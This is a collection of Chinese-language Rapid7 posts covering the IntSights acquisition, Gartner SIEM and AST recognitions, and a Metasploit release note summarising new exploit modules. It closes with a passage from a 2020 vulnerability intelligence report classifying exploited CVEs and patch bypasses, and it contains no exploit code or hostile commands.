Rapid7收购IntSights以应对不断扩大的威胁

我很高兴与大家分享一个激动人心的消息：2021年7月19日，Rapid7收购了IntSights，这是一家业内领先的提供云本地、外部威胁情报和主动威胁补救解决方案的提供商。IntSights团队非常出色，他们的威胁情报发现能力同样令人印象深刻。我将进一步介绍为什么IntSights的解决方案非常适合Rapid7以及我们的客户，但首先让我介绍一下这次收购的背景。

访问地址：https://intsights.com/

我们亲眼看到，随着数字化转型，攻击面以指数级增长，客户也认识到，提高对其内部风险状况的可视性只是安全防护的一部分。在当今的威胁形势下，安全团队迫切需要在其内外部环境中进行早期的、情景化的威胁检测。然而，大多数安全团队已经资源不足，负担过重，难以确定和解决需要立即采取行动的问题。那么，在这种情况下，我们如何才能帮助安全团队领先攻击者一步呢？答案是进入IntSights。

IntSights提供了领先的云本地外部威胁情报和修复解决方案，帮助客户解决这一新兴挑战。复杂的威胁情报能力通常只适用于最成熟、资源最丰富的组织。但IntSights正在打破这一点，并使威胁情报快速落地，以便每个组织都能保护自己，不论其规模或能力如何。

现如今不缺乏威胁情报信息，但其中很多信息缺乏背景验证，给已经不堪重负的安全团队带来了过多的警报信息和额外工作。IntSights最重要的威胁检测系统产品将复杂的信息转化为情景化的攻击面情报，使任何规模的组织都能更轻松地应对其最关键的外部威胁。

例如，IntSights通过监控各类数据源、深入暗网，以识别专门针对各类组织的威胁，包括数据和凭据泄漏事件、与其品牌相关的恶意活动以及欺诈等。但IntSights不仅是监控，且通过自动消除威胁采取主动补救措施。

将IntSights为客户量身定制的外部威胁情报功能与Rapid7社区的威胁情报和对客户环境的深入了解相结合，其对威胁、攻击面的监视、更好的信噪比、更出色的关联洞察力和主动缓解威胁的能力，能让客户对威胁有统一高效的管理能力。

下一步是什么

IntSights已经建立了一个巨大的业务网络，我们期待着通过这次收购，使ThreatCommand(https://intsights.com/products/threat-command)作为一个独立的产品提供给更广泛的客户群。同时，我们将开始将IntSights的威胁情报功能集成到Rapid7Insight平台中，以便在我们的整个产品组合中实现早期威胁识别和快速补救。

此外，我们将利用IntSights的功能，通过实现高质量、高保真的警报来增强我们的检测和响应（XDR）功能，以确保高效的安全操作、更早的威胁检测和更加快速的响应时间。

欢迎到来，IntSights！

从一开始，IntSights就致力于威胁情报的落地，这在文化上与Rapid7具有很强的协同作用，因此我们将继续努力缩小安全能力的差距，为各种规模和能力的组织带来高质量和高效的安全能力。欢迎IntSights的客户、合作伙伴和团队成员来到Rapid7。今天，随着我们在威胁情报领域不断创新进步，始终将客户的需求放在最前沿，我们将共同开启一个令人兴奋的新篇章！

阅读原文

跳转微信打开

Gartner将Rapid7的InsightIDR评为2021年安全信息和事件管理领域的领导者

详细的报告请访问：

https://www.rapid7.com/info/gartner-2021-siem-mq/

鸣谢

首先，我们要感谢所有支持Rapid7的客户和合作伙伴与我们一起踏上这段旅程。您的每次的持续反馈、每次的合作以及长此以往对我们的信任激励我们燃起更高的创新热情，使我们更加坚定地推出更好的安全资讯、产品及服务。

此次Gartnet魔法象限通过“completeness of vision” 和 “abilityto execute”两个维度对各个供应商进行了分析。就SIEM而言，Gartner根据客户的需求定义了安全和信息事件管理（SIEM）市场，客户需要实时分析事件数据，以便及早发现有针对性的攻击和数据泄露，并收集、存储、调查和报告日志数据，以便进行事件响应、取证和法规遵从性。随着探测和响应市场的竞争越来越激烈，这一领域的需求和挑战也越来越严峻。

至此，我们很荣幸在2021年被魔法象限提名成为6大引领者之一。我们将这一成就归功于我们与客户深厚的合作关系，以及我们为用户提供直观且易于执行的解决方案所做出的坚定承诺。

加速的变化使现代检测和响应所面临的挑战

在过去的一年里，许多组织都发生了巨大的变化，包括大量采用云计算、越来越多地使用web应用程序、传统办公向远程工作的重大转变，以及攻击者利用外界环境所带来的新威胁。虽然这些挑战并不新颖，但它们的紧迫性会更加突显本已脆弱的安全生态系统中的缺陷：

• 越来越多不同的网络安全需求导致所需的技能差距参差不齐

• 安全问题的频发，让安全运营人员疲于应付

• 这些压力结合起来使许多团队因告警疲劳而濒临崩溃

这些市场动态促使许多安全运营中心(SOC) 团队重新评估当前的流程和系统，并推动变革。

Rapid7 InsightIDR 帮助团队专注于最重要的事情，以在现代 IT 环境中推动有效的威胁检测和响应

我们的检测和响应方法始终以客户那里获取到的信息为指导。这其中包括Rapid7 的研究和开源社区收集的行业参与和见解；在 Rapid7 MDR（托管检测和响应）和服务参与方面获得的最新的资源，当然还有直接的客户反馈。所有的这些使我们能够深入了解当今 SOC 团队面临的挑战，并推动我们开发创新更加贴合实际的解决方案来预测和满足他们的需求。

Rapid7 InsightIDR 不是一个被闲置的以日志聚合为中心的 SIEM平台，也不是让安全分析师自己解决困难和繁琐工作的平台。相反，我们的重点始终是提供即时的、可操作的方法和警报，团队可以及时准确地做出响应，以便他们能够快速消除威胁。使用 Rapid7 InsightIDR，安全分析师不再只是为了跟上步伐而工作。他们有权扩展和转换他们的安全计划，而无关他们的环境如何发展。

我们对这一认可感到兴奋，但就像网络安全领域的一切一样，这会督促我们致力于不断提高标准，让 SOC 团队更轻松地加速他们的检测和响应程序，同时消除干扰和误报。再次感谢我们的客户和合作伙伴与我们一起加入这一旅程。敬请期待更多更新！

阅读原文

跳转微信打开

Rapid7应用程序安全测试入选2021Gartner——VISIONARIES象限

我们很高兴地分享这个消息:Rapid7已经被评选为2021年Gartner魔力象限应用安全测试领域的远见者。“2021魔法象限聚焦于供应商的传统AST产品、通过对它们的成熟度和作为工具或“作为服务”的特性，以及它们是否能覆盖现在更前卫技术所开发出的应用程序的攻击面的能力。Rapid7除了保持原有的应用程序安全检测方法外，我们还不断的扩展产品的组合，包括：DAST、容器扫描、基础设施代码(IaC)扫描、云安全态势管理(CSPM)、漏洞管理和通过NG-WAF和RASP的安全监控。随着应用程序威胁范围的扩大，应用程序架构跨越了云和现场架构，所以对于一个成功且安全的应用程序来说，更全面和多样化的工具集的需求变得至关重要。

Rapid7在面对漏洞风险管理的时候，认为我们不仅仅需要最新的检查方式，还需要突出我们对客户的关注。我们会专注于如何让客户的在使用上更轻松，不仅是在识别漏洞和风险方面，还有在与关键涉众(如开发和执行团队)团体的沟通中，以告知如何修复漏洞并降低他们的应用程序的风险。

"Best Security Tool to Secure our WebApplications" — Developer in the Services Industry

https://www.gartner.com/reviews/market/application-security-testing/vendor/rapid7/product/insightappsec/review/view/1397740

确保安全检查的时效性和准确性

Rapid7在在漏洞风险管理方面建立的强大基础而感到非常自豪，包括行业领先的漏洞管理和应用安全解决方案。然而，现代应用程序开发需要不断创新以保证这些应用程序的安全性。出于这些原因，您将看到我们在技术上投入了大量的时间和精力，以帮助确保现代应用程序环境的安全。它不再是关于保护您的网络和整体应用程序。现如今，安全团队面临着需要保护新型技术所创建的环境、远程劳动力、物联网环境、微服务、云等等。但是，现在通过 Rapid7 的漏洞风险管理全栈方法，我们可帮助客户管理和降低其基础设施和应用程序中的风险。

在Gartner应用程序安全测试的魔法象限中，Rapid7的执行能力和完整性得到了认可。我们在产品组合中的扩展，包括容器扫描、IaC扫描和SCA功能，继续使我们适应应用程序开发向云本地应用程序的演进。

我们的Flagship DAST将继续提供可靠和易于理解的结果

InsightAppSec，是我们的Flagship动态应用程序安全测试(DAST)解决方案，它将持续处于创新和可访问性的前沿。InsightAppSec提供了一个低误报和高覆盖率的解决方案，可以爬取任何一种现代应用程序来发现其中的漏洞。通过其中内置的攻击模板可以用来快速识别OWASP十大漏洞，这些模板还利用了全球Metasploit社区和Rapid7自己的威胁研究的结果。从理论上讲，InsightAppSec不仅提供了优先级和推荐建议，而且通过我们的攻击重播功能，可以让开发团队可以看到到底发生了什么，从而使补救变得容易。借据以获得对应用程序风险的单一看法?检查丰富的报告功能，这些功能有助于对监管标准(如PCI-DSS和HIPPA)的遵从性和补救，以及为领导和执行团队提供报告。

“One of the Best DASTs you can Buy” —Security Manager in the Finance Industry

https://www.gartner.com/reviews/market/application-security-testing/vendor/rapid7/product/insightappsec/review/view/1411106

保护应用程序安全需要与关键利益相关者建立合作关系

识别和控制入侵平均需要280天，成本为392万美元。因此，尽快识别和降低风险的必要性非常重要，这就是为什么我们在Rapid7中不仅要及早识别风险，而且要与关键的利益方合作，将缓解和补救政策付诸实践，以降低风险。我们的解决方案有助于提供可见性，帮助客户降低风险。为了做到补救或缓解这一点，安全性和开发团队之间的联系是关键。为了团队合作更便捷，创造尽可能好的结果，Rapid7提供了建议、描述和错误信息等信息，以及我们独特的攻击重播功能，使开发团队能够理解、可视化、修补和重新测试漏洞。除了CI/CD和票务集成之外，我们还希望为开发团队提供尽可能多的结合环境查看，使修复工作变得更容易。

我们为我们在Gartner应用程序安全测试领域被认可而感到兴奋，但使我们我们更加激动的是接下来要发生的事情。我们正在重新定义,以帮助世界各地的团队在他们的应用程序投资组合降低风险。感谢我们的客户和合作伙伴加入我们的旅程，当然，敬请期待更多的更新即将到来!

在这里获取完整的魔法象限报告。

https://www.rapid7.com/info/gartner-2021-ast-mq/

此图由Gartner，Inc.发布，作为研究文档的一部分，应结合整个文档的上下文进行评估。Gartner文档可以从Rapid7获得。

Gartner research publications consist ofthe opinions of Gartner's research organization and should not be construed asstatements of fact. Gartner disclaims all warranties, expressed or implied,with respect to this research, including any warranties of merchantability orfitness for a particular purpose. Gartner Magic Quadrant for ApplicationSecurity Testing (AST), Dale Gardner, Mark Horvath, Dionisio Zumerle, 27 May2021

阅读原文

跳转微信打开

Metasploit最新资讯！！新模块*4，功能更新*6，BUG修复*3~

 新模块（4）

NetMotion Mobility Server MvcUtil JavaDeserialization：由wvu和mr_me为meta加入了一个针对CVE-2021-26914的利用模块。该漏洞是NetMotion Mobility中的一个可远程利用的漏洞，通过精心设计的请求可以触发反序列化漏洞，从而导致代码执行。

Dell DBUtil_2_3.sys IOCTL memmove：由Kasif Dekel, SentinelLabs和 Spencer McIntyre提供。通过对CVE-2021-21551的利用由Dell分发的DBUtil_2_3.sys驱动程序提供的IOCTL，可被滥用以执行内核模式内存读取和写入操作。

Windows Privilege Escalation viaTokenMagic (UAC Bypass)：由James Forshaw, RubenBoonen (@FuzzySec), bwatters-r7和 jheysel-r7提供添加了一个模块来利用TokenMagic，这是一种将Windows 7升级到Windows 10 build 17134（包括Windows 7）的利用技术，允许用户将其特权提升到SYSTEM。可以通过利用影响到Windows 10内部版本15063至内部版本17134的DLL劫持漏洞，或通过在目标系统上创建新服务来利用受影响的系统。

altStack Salt Information Gatherer：由c2Vlcgo 和 h00die提供。添加了一个post模块来收集salt信息、配置等。。

功能更新（6）

更新1：增强analyze命令，以显示有关已识别的攻击立即可运行的其他信息，或者是否需要在运行之前设置其他凭据或选项

更新2：对CVE-2021-3156(Baron Samedit)的漏洞做了两个改进。它消除了目标环境中对GCC的依赖。它还为Ubuntu 16.04、Ubuntu 14.04、CentOS 7、CentOS 8和Fedora23-27添加了新的目标。

更新3：auxiliary /client / telegram / send_message.rb该模块已更新，以支持发送文档以及将文档和/或消息发送到多个聊天ID.。

更新4：WordPress插件和主题列表已经更新，允许用户在运行诸如auxiliary/scanner/http/wordpress_scanner等工具时发现更多的插件和主题

更新5：exploit/multi/http/gitlab_file_read_rce文档已更新，以提供有关如何使用SSL证书为加密通信设置GitLab的其他信息，使用户可以轻松地测试可能需要加密GitLab连接的场景。

更新6：现在，用Python实现的asploit模块显式要求python3出现在系统路径上。这确保不再无意识地使用python2，以前在Kali系统上出现过

BUG修复（3）

• 如果用户将Metasploit安装到path.msfdb中包含空格的位置，该错误将阻止用户运行该脚本。现已修复

• 修复exploit/multi/http/gitlab_file_read_rce模块中的一个错误，使其能够针对启用TLS的易受攻击的GitLab服务器。

• 已经应用了一个修复以使用传入的SSL密钥路径(如果提供了)而不再使用默认的at，如果用户将SSL密钥路径作为选项.msfdb~/.msf4/msf-ws-key.pem传入，则默认路径可能不启用。

如何获取最新版本

    与过去一样，您可以使用命令msfupdate更新到最新的 Metasploit Framework，也可以通过GitHub获取最新的更新信息:

• Pull Requests 6.0.44...6.0.45(https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-05-12T18%3A09%3A40-05%3A00..2021-05-19T10%3A47%3A33-05%3A00%22)

• Full diff 6.0.44...6.0.45 (https://github.com/rapid7/metasploit-framework/compare/6.0.44...6.0.45)

    如果您是git用户，那么可以克隆Metasploit Framework repo（https://github.com/rapid7/metasploit-framework）以获取最新版本。
    要在不使用git的情况下安装，可以使用只开放源码的Nightly Installers(https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers)安装程序或binaryinstallers(https://www.rapid7.com/products/metasploit/download/)安装程序（也包括商业版）。

阅读原文

跳转微信打开

介绍众所周知在企业内部：安全部门、IT部门、负责漏洞管理以及降低企业内部风险的团队所处的环境经常会面对高频的

介绍

众所周知在企业内部：安全部门、IT部门、负责漏洞管理以及降低企业内部风险的团队所处的环境经常会面对高频的报警以及海量的安全信息，于是乎能够从海量信息中获取有利的数据并付诸于行动成了难能可贵的能力。特别是当新的潜在威胁出现时，信息安全专业人员往往需要先自己将模糊且不全的描述和未经测试的公告进行分析，建立自己的特定风险模型并转化为可实施的解决方案。

再此期间，为了向大家公布为什么某些漏洞会被轻易利用，每年安全研究人员都会分析此年间产生的漏洞，通过了解其产生的根本原因，并将其分享出来。这样在面对新的高危漏洞时就不会再谈“洞”色变了。通过分析2020年众多漏洞的突出利用趋势和攻击者的使用案例，我们集中展示了中的其中50个，以更好的了解新出现的安全威胁。我们的目的是将那些给各组织带来严重风险的漏洞进行情景化处理。此外还提供了一个攻击者实用程序列表，以及为防御者提供了漏洞的防御指南。

首先声明这份报告不是威胁情报报告，尽管我们在报告中使用了网络威胁情报（CTI）术语。但是，我们确实通过分析许多优秀的威胁情报提供者提供的信息，来丰富了这篇文章的内容。他们从分析攻击者的动机、方法、技术和程序（TTP），再到定位特定威胁参与者这一方面有着一流的水准。但传统的CTI方法论和元素（包括危害指标（IOC）等工件）不在本文讨论范围之内。

下面的内容包含了大量的漏洞数据，虽然这些漏洞信息都很重要，但不要让它左右了你的判断: 说到底这只是一篇提升威胁意识本能的报告，通过它可以驱使安全研究人员和开发人员提升面对安全事件的危机意识。

摘要

在过去五年中，发布漏洞的数量显著增加。与2016年相比，2017年的CVE漏洞数量增加了127％，此后每年的CVE数量都超过了其前一年。到2020年年底时， 2020年漏洞总数累计达到18362个，比2019年增加了6％，比五年前增加了185％。2020年12月由nationstate-backed campaigns的披露得知，全球超过 6 个美国政府机构和数千个组织遭受了重大安全事件的打击，其中最严重的一些事件通常发生在面向互联网的技术上，这些技术对于这两年兴起的远程办公也有着严重的影响。

当然，并不是所有2020年的安全漏洞都可以被利用，即使是那些严重程度达到10分的高危风险。

在这份报告中，我们研究了50个不同的cve，其中有30个漏洞在2020年被高频利用，要么是不分青红皂白的攻击，要么是小规模的、有针对性的攻击。其余20个漏洞尚未被高频利用，但我们通过其对攻击者的价值、技术细节、可发现性和攻击代码的高频可用性将其归类为Impending（紧急的威胁）。当然，不划分在里面并不意味着这些漏洞没有被高频利用——只是可能缺乏证据去公开披露而已。

2020年调查结果包括：

• 14个在2020年成为widespread threats（高频利用威胁）并对各种规模的组织构成重大风险的漏洞。您将认识到2020年利用次数最多的一些漏洞，其中包括WebLogic Server和ManageEngine zero days，以及RECON和Zerologon之类的漏洞。我们widespread threat（高频利用威胁）中有14个cve被各种各样的恶意组织利用，包括但不限于拥有国家支持背景的黑客、个人技术爱好者。

• 在2020年的安全新闻头条中占据显著位置的重要漏洞，但其实有些漏洞比它们更易被利用。2020年反序列化和不适当的访问控制漏洞是让widespread threat（高频利用威胁）生效的根本原因，它们在widespread（高频利用）列里占据了78%。

• 2020年影响最大的漏洞通常发生在安全产品上，而这些产品又常位于企业网络中关键且经常暴露在外的位置。我们在本报告中列出了9个漏洞，它们通常是作为网络枢纽，被外部攻击者利用vpn、防火墙或其他面向互联网的技术进行权限获取，从而为其访问内部网络提供了机会。这些缺陷通常与本地代码执行漏洞或网络协议漏洞一起使用，以升级特权账户或在公司网络上进行横向移动。

• 2020年出现了多个严重影响了底层软件库的操作技术(OT)和物联网(IoT)的漏洞。尽管近年来这一脆弱性类别引起了越来越多的关注。但经研究，其可利用性还是很低，且有不容易复刻的特性。

• 在2020年，维护者们不得不面对源源不断的补丁绕过，这扰乱了原有的修复计划，并带来了更多容易被忽略的风险。我们的整理了补丁绕过和不完整的补丁，共9个，其中7个绕过了已知被利用或拥有高价值父漏洞的修复。有趣的是，我们注意到，现在软件供应商开始慢慢减少公开攻击链信息，而不是尝试解决报告给他们的bug，这种情况关键还越来越常见，当然这也可以从侧面解释了为什么去年出现了大量的补丁绕过的原因。

  
  

  
  

2020年的威胁

1.  频繁被利用的漏洞和其他重要CVE

值得一提的是，2020年新增了像零日披露（zero-day disclosures）和公共威胁情报（ public threat intelligence）的平台，虽然这些情报大都来自美国国家安全局(也有传统的来源，如CISA和countryCERTs)。这一做法，毫无疑问是为了加速修补程序的更新，同时也表明了对漏洞信息透明公开的一种态度，但这也同样加剧了人们在面对新的高风险漏洞时的紧迫感，特别是在面对安全新闻媒体的报道时，更加加剧了这种紧迫感。如果不承认美国情报机构在塑造人们的看法和影响工作重点方面发挥的作用，就很难去讨论过去一年的威胁形势，尤其是考虑到有关这些信息披露的新闻标题可能会让高管、商业利益相关者以及安全从业人员看到。

我们在数据中罗列了被高频利用的漏洞（widespread threats）和基于现有证据归类的有针对性攻击（targeted threats）的漏洞。在我们收集的数据中几乎所有有针对性的威胁，都可以找到一个已有成功被利用的可信来源报告，不管后续有没有进一步的公开利用报告。当然，这些漏洞在被披露时大多都是以零日漏洞的身份出现。

相应的，在我们（widespread threat）高频利用威胁类别中的cve通常被众多恶意攻击者利用，从僵尸网络控制器到APTs，再到脚本小子，他们向暴露在互联网的主机无差别使用公共概念验证(PoC)代码。换句话说，如果我们将一个威胁归类为（widespread threat）高频利用威胁，那么这个分类是基于攻击的数量，而不是具体是谁在进行攻击。但是，不管是什么时候，企业都应该对其受到的攻击进行响应和调查，以在发生攻击事件期间寻找IOC和可疑活动，并第一时间为程序打上紧急补丁。

widespread threa（高频利用威胁）

我们归类了14个高频利用的威胁，它们都在2020年对企业安全造成了或多或少的影响。如果不及时修补，这个影响有可能会持续更久。因为成功利用这些漏洞所造成的影响是很严重的。其大多数攻击都会允许远程代码执行(remote code execution, RCE)。还有一些攻击，允许未经身份验证的远程攻击者控制基础设施，然后通过利用面向互联网的系统或接口访问内部网络。值得注意的是，这个类别中的两项——zoho ManageEngine CVE-2020-10189和vBulletincve -2020-17496——在供应商提供补丁之前就有了稳定的攻击代码。

高频利用威胁2020年漏洞的披露日期：

2020年随着CitrixNetScaler和Telerik UI的兴起开发而拉开帷幕。Zoho ManageEngine和SaltStack Salt在春季紧随其后，而下半年因通过互联网大规模利用F5 BIG-IP，Microsoft NetLogon远程协议和Oracle WebLogic Server中的严重漏洞而中断。在MobileIron移动设备管理（MDM）解决方案中，认证绕过和远程代码执行缺陷相结合的方式也让人们瞥见了移动设备管理软件在未来是如何成为一个强大的攻击媒介，即使在远程办公的员工开始回归办公室办公之后也是如此。

在这一列表中有三个异常值得仔细观察的点。第一个是CVE-2020-0796，或称“SMBGhost”，这是微软服务器消息块(SMB) 3.1.1协议中的一个远程代码执行漏洞，该公司在2020年3月周二补丁发布之前提前发布了修复补丁。虽然对外的安全更新在通知发出后的24小时之内出现了，但在安全社区仍将此漏洞比作2020年的MS17-010。MS17-010:SMB漏洞，被用作2017年WannaCry和NotPetya攻击链常利用的一个漏洞，使全球各个组织为其付出了数百万美元的代价。

网络防御者担心该漏洞会被广泛利用以及蠕虫入侵，但至少到目前为止，还没有蠕虫出现。实际上，即使有公开的概念验证代码和僵尸网络针对了SMBGhost，但是很难说这种漏洞可以被完全的利用。或者说，以现在的内存保护机制，意味着，即使有一些漏洞被大家熟知，但想进行远程代码执行就不是一件容易的事了。甚至连Lemon_Duck僵尸网络在试运行后也放弃了SMBGhost攻击模块。为了统一定义的规则，我们把CVE-2020-0796包含在我们的高频利用威胁列表中，但它只是一个例外，不在此项之中。

另一个例外是CVE-2020-3452，这是思科Adaptive Security Appliance (ASA)和FirepowerThreat Defense (FTD)产品中的一个只读路径遍历漏洞，允许远程攻击者枚举目标设备上的文件。这里的歧义之处在于其价值而非可利用性——尽管PoC很快就发布了，引用微软的KevinBeaumont的话“mass spammed across [the] internet”， 但利用它却没有给攻击者提供任何有用的访问机会。在我们的广泛威胁示例中，CVE-2020-3452也是Metasploit唯一选择不优先利用的漏洞。

最后，如果说2020年存在一个Microsoft漏洞，其严重性以及对网络系统的灾难性影响与MS17-010相当，那它一定是“Zerologon”（CVE-2020-1472），这是是Microsoft Netlogon远程协议（MS-NRPC）中的一个加密缺陷，它允许攻击者绕过身份验证，危及作为域控制器运行的Windows服务器，为完全接管Active Directory域铺平了道路。微软在2020年8月星期二发行的的CVSS-10特权升级漏洞补丁引起了人们的关注，但该通报的特征信息却很少。因为其公开的细节一直很少，没有相对应的修复方案。直到9月中旬，Secura的研究人员发布了深入的分析报告，才有了详细的信息。

Zerologon和MS17-010系列漏洞都为攻击者提供了容易被攻击的横向移动可利用路径，这很容易让他们成为勒索软件(包括勒索蠕虫)的攻击对象。与2017年的cve不同(cve提供了远程和本地代码执行)，成功利用Zerologon需要对域控制器进行网络访问——换句话说，攻击者需要一个暴露于互联网的域控制器或某种类型的网络初始访问(e.g.,a network pivot)。2020年的威胁清单包括相当多的潜在网络枢纽。我们稍后会再讨论。

Targeted Threats（有针对性的威胁）

我们数据中大约一半的主动利用漏洞属于"有针对性的威胁"类别，特此强调，这并不意味着这些cve没有(或不会)被大范围利用，只是还没有任何大规模利用的公开证据。特别是，Sophos XG防火墙CVE-2020-12271和VMware ESXi CVE-2020-3992。由于它们提供了相当大的访问权限，这个目标对于攻击者来说是非常值得去尝试的。Citrix的三个漏洞也是如此，好在这三个漏洞在一次更新中都已经得到了修复。

*卡巴斯基看到针对CVE-2020-0986漏洞的野生攻击行为后，提供了CVE-2020-0986的报告。但表示，在他们通知之前，微软已经准备个补丁。即使卡巴斯基不是唯一一家观察到此行为的公司，但仍然将这个CVE归为零日漏洞里。

在这之中有8个cve(超过一半)被作为零日漏洞报告给了相应的软件供应商，提醒他们这些cve已经有了野生的利用方法，其中:3个来自谷歌的Project Zero和Threat Analysis Group (CVE-2020-1020、CVE-2020-17087和CVE-2020-15999)， 1个来自NSA(VMware CVE-2020-4006)，其余的来自各种安全研究人员和公司。SolarWinds Orion CVE-2020-10148就是其中之一，在这里值得一提的是，这个漏洞极有可能已经被更多的人利用。然而，在写这篇文章的时候，还没有关于大规模利用的公开报告——只有大规模扫描的报告——直到更多的利用得到证实之前，我们都将其归类为有针对性的威胁。

除了三个Citrix漏洞外，Windows DNS服务器（2020-1350），Windows CryptoAPI（2020-0601），Cisco IOS XR（2020-3118）和VMware Workspace ONE（2020-4006）都被列入了NSA发布的关于俄罗斯(VMware CVE-2020-4006)和中国(其他国家)的漏洞威胁利用2020年第四季度出版物中。（NSA还是在2020年1月向Microsoft披露了“Curveball” CVE-2020-0601的实际案例。）总而言之，NSA是我们2020年安全威胁数据中很大一部分的原始资料来源。

Impending Threats（紧急的威胁）

随着主动利用漏洞暂告一段落，我们可以把注意力转向2020年一些值得注意的紧急的威胁。作为一个简短的提醒，当威胁三角（意图、能力、机会）只有两个元素出现时，我们就会把这种漏洞归结为紧急的威胁。由于这篇文章所诉集中在漏洞上，所以我们判定“机会”元素在默认情况下是存在的。我们在本节中提出的即将发生的威胁包含一个要素(即一个成熟的exploit)或一个可衡量意图的代替品。如果没有NSA发布的2020年第四季度公告，将会有许多有针对性的威胁（Targeted Threats）漏洞会被划分进入紧急的威胁（ImpendingThreats）漏洞中。

注意：此组中的一些漏洞具有可用的公共概念验证（PoC）代码，但就本文而言，我们认为公共概念验证与技术细节类似，因为它可以使其他人构建成功的攻击链或改进后的攻击技术，但它与成熟的攻击代码不同。概念验证代码在成为一个完全武器化并可以进行漏洞利用的程序之前，还需要一个漫长的过程。

该表中“可利用exploit”的引用都表示Metasploit模块，这些模块已经过成熟的开发和测试，以便在各种平台上兼容。Metasploit并不是功能上唯一成熟的可利用工具包——例如，在Impacket上构建的Zerologon漏洞，在它被移植到Metasploit框架之前就已经达到了可利用漏洞的标准。同样，“高价值目标（high-value target）”是一个主观的术语，介于我们列出产品的使用率的高低，这应该是一个容易被大家接受的术语。“广泛可用的技术细节（Technical details widelyavailable）”指的是可以识别、触发和(经常)利用有关漏洞深入且公开的信息。技术细节通常包括概念验证代码或演示。

当一个对攻击者来说有显著价值的产品出现漏洞，并且最近有相应的攻击历史存在时，即使没有证据表明在野生环境下的攻击是成功的，但我们也有理由认为威胁三角的“意图”一角是存在的。这一原则最好的例子莫过于Microsoft Exchange和SharePoint漏洞，其中三个是显著的紧急威胁（SharePoint CVE-2020-16952和Exchange CVE2020-16875和2020-17132）。近年来，这两种产品一直是零日研究、漏洞开发和野生攻击的头号目标，其实这并不奇怪，毕竟Exchange和SharePoint环境中的漏洞可能会导致全面接管Active Directory。

“我们认为Microsoft Exchange和SharePoint中的CVE是最紧急的威胁候选对象，无论其是否已经发布了利用代码”

遗憾的是，其修补程序的速度依然相对滞后，详情如下图：

这一组中还有一些cve对于潜在的攻击者来说非常重要，例如:HP Device Manager CVE-2020-6926和VMwarevCenter Server CVE-2020-3952它们分别是Windows thin客户端管理软件和虚拟化基础设施管理软件中的严重漏洞。通过利用这些漏洞，攻击者不仅可以访问目标软件本身，还可以访问该软件管理的所有子资产。其中SaltStack Salt CVE 2020-16846和2020-25592也是严重漏洞，如果将它们结合在一起时，未经验证的远程攻击者就会有机会获得对目标系统根的访问权限，并对网络基础设施进行破坏性攻击。最后，为了避免我们忘记Cisco的Jabber即时消息平台现在还处于“服役”状态，CVE-2020-3495为本地攻击者提供了可用于蠕虫公司网络的半数攻击链。

第一次/第二次/第三次：补丁绕过

2020年出现补丁绕过的CVES：

当企业内部发现新的紧急漏洞补丁发布的时候，他们一般不会按平日预定的补丁修复计划去执行，而是选择直接打补丁。但这样做的前提是，供应商提供的补丁或缓解措施是经过严格审查的，并且(至少在某种程度上)是值得信赖的。在这点上攻击者则会遵循完全不同的原则。即，发现一个缺陷意味着这个系列产品可能有更多的缺陷可以去发掘，且这些缺陷通常存在于目标产品代码库的相同功能、或部分协议中。然而，对于攻击者来说，花精力寻找零日漏洞的意义并不是特别大，因此他们可以在一个修补过的漏洞上进行操作并修改，然后使这个补丁不生效，让漏洞重新暴露出来。

2020年，在大量的供应商、产品、web应用程序、操作系统和库中，都出现了一些绕过cve的补丁和不完整的修复。我们在这里详细介绍其中的9个，但这些还远远不够全面。2020年是补丁绕过程序发展标志性的一年，这对于许多没有周期性漏洞管理导致风险增加而不知情的组织来说是不幸的。我们在此报告中包含的许多补丁绕过程序也都有一些父级漏洞，它们要么在野外被频繁利用（例如，Oracle WebLogic Server CVE-2020-14750、Windowskernel CVE-2020-17008、vBulletin CVE-2020-17496），要么被频繁记录在案（例如，Windows“PrintDemon”CVE-2020-1337）。

用什么可以解释此漏洞的产生？在某些情况下，漏洞的形成越复杂可能会使解决方案相应地变得复杂，从而无法快速，有效地开发。

Microsoft Exchange CVE-2020-16875就是一个很好的例子，这个“修复”掐断了公开的攻击链，但却没有解决其根本原因，导致了后续出现了相应的补丁绕过CVE-2020-17132。

当在主机系统的核心架构密切相关的组件或行为中出现漏洞时，也很难找到根本原因，因为对这些漏洞尝试修复可能会对正常使用造成不利影响。有时，当漏洞可以在应用程序内部使用时，就会出现这种情况，例如vBulletin CVE-2020-17496。在这种情况下，该漏洞与PHP模板的处理方式有关——vBulletin中的意图和重要功能。如果您正在寻找第二个用例，那PyYAML库漏洞是一个很好的用例。在这两种情况下，维护此类项目都会选择实施过滤和其他控制，以限制攻击者对脆弱功能的访问。当然，这些控制最终都容易被绕过。

在过去的一年中，补丁绕过的普遍存在强调了对纵深防御策略的需要，包括对关键和暴露在外系统的安全意识。更多建议见本报告末尾的防御指南部分。

The Dream of a Common Language

2.实用漏洞详情

当需要了解到一个新的漏洞时，我们首先要了解的是其产生的根本原因以及攻击者可能利用该漏洞来实现什么目的。从应用程序编程错误到加密实现，再到硬件错误等等，任何一部分出现失误都会导致漏洞产生。同样，任何既定漏洞的潜在影响可能会根据现实情况、安全控制、以及攻击者，通过利用而获得的数据或权限的敏感性而有很大差异。

您可能已经注意到，我们已经按照攻击者实用程序和脆弱性类别对报告数据集合中的漏洞进行了分类，并按照威胁状态将它们分开。攻击者实用程序（Attacker Utilities）描述攻击者希望通过成功的攻击获得什么(这通常反应到攻击链的一部分)，而脆弱性类别是一个总称，它包含了根本原因和可能触发它的高级技术类型。

我们已经定义了四个脆弱性类别——不适当的访问控制、内存损坏、注入和反序列化——它们有助于对可用的攻击者工具进行初步评估，并形成关于相对可利用性的假设。例如，注入攻击使用精心制作的输入和技术(例如SQL注入、操作系统命令注入)来破坏数据完整性以作为高特权用户运行任意代码。相较于利用内存损坏漏洞的攻击，这种攻击往往是稳定且可靠的，更不容易对目标系统造成破坏。反序列化漏洞具有很高的可利用性，并拥有大量现成的工具来构建可利用链。不恰当的访问控制缺陷(在我们的高频利用威胁中是最常见的)从复杂的工具攻击到使用url构造等，几乎无所不在。

“2020年11个最严重和最具影响的漏洞都是由反序列化和不适当的访问控制漏洞造成的”

不当的访问控制漏洞对公司网络的威胁几乎相同，允许攻击者绕过身份验证(如果存在身份验证的话)、执行代码、添加管理用户和将文件写入磁盘。这些缺陷一直模糊了漏洞管理和事件响应之间的界限。

